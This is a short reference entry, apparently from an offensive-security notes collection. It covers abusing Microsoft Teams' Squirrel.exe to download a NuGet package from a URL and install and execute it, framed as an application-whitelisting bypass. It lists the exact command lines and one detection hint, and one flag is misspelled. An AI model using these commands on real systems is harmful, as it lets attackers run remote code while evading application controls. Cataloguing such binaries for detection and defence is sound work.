~/Privilege Escalation/Windows/Binaries# cat Squirrel.exe.md

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Paths:

%localappdata%\Microsoft\Teams\current\Squirrel.exe

Detection: Update.exe spawned an unknown process

Download

The above binary will go to url and look for RELEASES file and download the nuget package.

squirrel.exe --download [url to package]

AWL bypass

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --update [url to package]

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --updateRoolback=[url to package]

Execute

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --update [url to package]

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --updateRollback=[url to package]